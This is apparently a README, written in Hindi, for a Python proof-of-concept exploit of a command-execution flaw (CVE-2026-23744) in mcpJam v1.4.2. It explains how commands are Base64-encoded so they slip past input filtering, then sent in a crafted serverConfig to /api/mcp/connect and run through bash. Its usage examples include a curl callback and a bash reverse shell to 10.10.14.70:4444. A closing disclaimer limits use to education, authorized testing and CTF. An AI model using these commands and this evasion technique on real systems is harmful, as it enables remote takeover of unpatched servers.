
cve-2026-23744 python शोषण
CVE-2026-23744 के लिए एक Python 3 प्रूफ-ऑफ-कॉन्सेप्ट शोषण, जो mcpJam v1.4.2 को प्रभावित करने वाली एक मनमाना कमांड निष्पादन भेद्यता है।
यह उपयोगिता संचरण से पहले कमांड को पारदर्शी रूप से Base64-एनकोड करके पेलोड वितरण को स्वचालित करती है, जो प्रतिबंधात्मक इनपुट सत्यापन और वर्ण फ़िल्टरिंग तंत्रों को बायपास करने में मदद करती है। पेलोड को लक्ष्य प्रणाली पर /bin/bash रैपर के माध्यम से डिकोड और निष्पादित किया जाता है।
संचरण से पहले कमांड स्वचालित रूप से एनकोड किए जाते हैं, जो सख्त इनपुट सत्यापन या वर्ण प्रतिबंध लागू करने वाले अनुप्रयोगों को लक्षित करते समय विश्वसनीयता में सुधार करते हैं।
मनमाना कमांड निष्पादन का समर्थन करता है, जिसमें शामिल हैं:
sh, bash, nc, आदि)प्रदर्शित करता है:
यह समस्या निवारण और शोषण सत्यापन को सरल बनाता है।
प्रमाणपत्र सत्यापन चेतावनियों को दबाता है, जिससे स्व-हस्ताक्षरित या अन्यथा अविश्वसनीय SSL प्रमाणपत्रों का उपयोग करने वाले लक्ष्यों के साथ बातचीत की अनुमति मिलती है।
आवश्यक निर्भरता स्थापित करें:
pip install requests
python3 exploit.py <target_url> "<command>"
python3 exploit.py http://devhub.com:6274 "curl http://10.10.14.70:8888"
python3 exploit.py http://devhub.com:6274 "sh -i >& /dev/tcp/10.10.14.70/4444 0>&1"
शोषण एक दुर्भावनापूर्ण serverConfig ऑब्जेक्ट तैयार करके /api/mcp/connect एंडपॉइंट को लक्षित करता है।
कमांड को सीधे प्रेषित करने के बजाय, पेलोड को Base64-एनकोडेड स्ट्रिंग में बदल दिया जाता है और Bash के माध्यम से निष्पादित किया जाता है:
"args": [
"-c",
f"echo {base64_payload} | base64 -d | bash"
]
यह दृष्टिकोण एप्लिकेशन-स्तरीय फ़िल्टरिंग से बचने में मदद करता है, साथ ही यह सुनिश्चित करता है कि पेलोड पूरी तरह से लक्ष्य होस्ट पर डिकोड और निष्पादित हो।
serverConfig अनुरोध में एम्बेड किया जाता है।base64 -d का उपयोग करके पेलोड को डिकोड करता है।/bin/bash में पाइप की जाती है।[!WARNING] यह प्रोजेक्ट केवल शैक्षिक उद्देश्यों, अधिकृत सुरक्षा मूल्यांकन और कैप्चर द फ़्लैग (CTF) वातावरण के लिए प्रदान किया गया है।
उन प्रणालियों के खिलाफ अनधिकृत उपयोग जिनके लिए आपके पास स्पष्ट अनुमति नहीं है, अवैध और अनैतिक है। लेखक इस सॉफ़्टवेयर के उपयोग से होने वाले किसी भी दुरुपयोग, क्षति या कानूनी परिणामों के लिए कोई जिम्मेदारी नहीं लेता है।